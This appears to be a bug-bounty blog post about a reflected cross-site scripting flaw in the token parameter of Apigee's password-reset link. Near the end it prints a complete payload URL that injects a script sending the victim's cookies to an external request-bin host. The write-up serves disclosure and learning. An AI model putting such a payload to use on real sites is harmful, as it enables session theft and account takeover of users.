Google Acquisition XSS (Apigee)

TnMch

May 6, 2020·2 min read

So when I was trying to verify some Google acquisition website

I enter apigee.com which provides API management, so as always I start my burp suite and I try to verify all the functions as possible,

On the first try, everything was secure and all my first test failed, but as a bug hunter it should not be 100% secure and nothing is safe, So I log out and start to check the login and register option, look all right here

at some point, I tried to check the password reset action, get a link in my email account that looks like this

link :

https://api.accounts.apigee.com/management/users/[REDACTED]/resetpw?token=ZW0tsHaU-REDACTED-eeTDi2YRIN1CICmFjOSSE2JvllO_-REDACTED-

Here, I have the idea to try to bypass the token and obtain a valid link for all users, which allows me to update any user password, but this failed too and can’t bypass it

when I was trying to edit the link and change the token code, I saw something normal for me, it looks like this entry has not been filtered here, so I tried to send some XSS payload as a test.

And here where things begin 😃

let's steal some cookies 😍

as it's not legal to hack someone account, I tested in my own account

create first the payload :

https://api.accounts.apigee.com/management/users/xxxxxx/resetpw?token=xxxxxxx"><script>new Image().src=’https://requestb.in/xxxxxx?code='+document.cookie</script><a href=”

ON CLICK & All cookies will be sent to us😅